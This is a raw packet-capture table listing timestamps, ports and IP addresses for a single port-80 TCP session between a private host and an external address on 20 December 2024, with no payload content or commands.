Dec 20, 2024 16:05:41.701128006 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.701141119 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.702244997 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.702267885 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.702281952 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.702291012 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.702315092 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.702646971 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.702678919 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.702723026 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.702759027 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.703423023 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.703444958 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.703452110 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.703469038 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.703493118 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.704169035 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.704241991 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.704242945 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.704265118 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.704902887 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.704940081 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.704973936 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.704998016 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.705024004 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.705919981 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.705962896 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.705986977 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.705997944 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.706818104 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.706856012 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.706895113 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.706919909 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.707042933 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.707380056 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.707401037 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.707426071 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.707462072 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.708307028 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.708375931 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.708399057 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.708415031 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.708709002 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.708734989 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.708745003 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.708766937 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.708794117 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.709462881 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.710264921 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.710298061 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.710303068 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.710325956 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.710866928 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.710892916 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.710896969 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.710917950 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.710947037 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.711026907 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.711675882 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.711719036 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.711746931 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.711776972 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.712428093 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.712455034 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.712481976 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.712510109 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.712826014 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.712856054 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.712873936 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.712903023 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.713726044 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.713769913 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.713795900 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.713799953 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.714502096 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.714581966 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.714591026 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.714617968 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.714648008 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.715404034 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.715447903 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.715473890 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.716008902 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.716042042 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.716064930 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.716093063 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.716119051 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.716860056 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.716900110 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.716924906 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.716926098 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.717490911 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.717516899 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.717521906 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.717545033 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.717571020 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.718204975 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.718296051 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.718323946 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.718323946 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.718915939 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.718945980 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.719057083 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.719083071 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.719850063 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.719886065 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.719929934 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.719961882 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.720510960 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.720537901 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.720576048 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.720760107 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.720793962 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.721266985 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.721323967 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.721352100 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.721980095 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.722034931 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.722085953 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.722160101 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.722198009 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.723243952 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.723258972 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.723270893 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.723282099 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.723858118 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.723897934 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.723912001 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.723925114 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.723990917 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.723990917 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.724675894 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.724685907 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.724700928 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.725310087 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.725338936 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.725358963 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.725370884 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.726118088 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.726149082 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.726185083 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.726244926 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.726268053 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.727058887 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.727416039 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.727427959 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.727447987 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.727585077 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.727612019 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.727644920 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.727683067 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.728449106 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.728461981 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.728475094 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.728481054 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.728502035 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.729120970 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.729157925 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.729187012 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.729199886 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.729990959 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.730017900 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.730029106 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.730048895 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.730743885 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.730771065 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.730802059 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.730885983 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.731026888 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.731441975 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.731532097 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.731544971 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.731604099 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.731604099 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.732364893 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.732377052 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.732388973 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.732419014 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.733078003 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.733239889 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.733277082 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.733402014 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.733998060 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.734009981 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.734024048 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.734046936 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.734070063 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.734770060 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.734813929 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.734828949 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.734854937 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.735070944 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.735251904 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.735296011 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.735307932 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.735990047 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.736020088 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.736324072 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.736381054 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.736392975 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.736412048 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.737045050 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.737075090 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.737109900 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.737128973 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.737175941 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.737175941 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.737792015 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.737859011 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.737870932 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.738573074 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.738662958 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.738675117 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.738692999 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.739073992 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.740570068 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.740596056 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.740609884 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.740731001 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.740762949 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.740832090 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.740844965 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.740897894 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.740897894 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.741242886 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.741255045 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.741267920 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.741581917 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.741607904 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.741673946 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.741686106 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.741750956 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.741750956 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.742413998 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.742435932 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.742449045 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.742475986 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.743191004 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.743201971 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.743216038 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.743923903 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.743964911 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.744039059 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.744050980 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.744754076 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.744765997 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.744779110 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.744787931 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.744868040 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.744868040 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.745502949 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.745522976 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.745537043 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.746159077 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.746244907 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.746258020 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.746270895 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.746319056 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.746319056 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.746980906 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.747025013 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.747036934 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.747756004 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.747817993 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.747833014 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.747853994 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.748451948 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.748481989 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.748509884 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.748522043 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.749280930 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.749308109 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.749438047 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.749527931 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.749540091 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.749552965 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.750253916 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.750281096 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.750314951 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.750328064 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.750380993 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.750380993 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.751055002 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.751111984 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.751125097 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.751671076 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.751837969 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.751876116 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.751888037 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.751899958 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.752383947 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.752562046 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.752659082 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.752671003 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.753325939 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.753379107 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.753391981 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.753405094 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.754076958 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.754102945 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.754544020 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.754559040 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.754648924 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.754832983 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.754921913 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.754935026 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.754947901 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.754986048 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.755686045 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.755980015 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.755994081 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.756161928 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.756540060 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.756586075 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.756598949 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.756737947 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.758028030 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.758042097 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.758054972 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.758066893 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.758080006 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.758095026 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.758100033 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.758116007 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.758148909 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.758662939 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.758711100 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.758722067 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.758903980 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.759478092 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.759500980 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.759512901 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.759532928 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.759602070 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.760256052 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.760293961 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.760308027 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.760430098 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.761178017 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.761189938 CET	80	49757	185.215.113.16	192.168.2.7
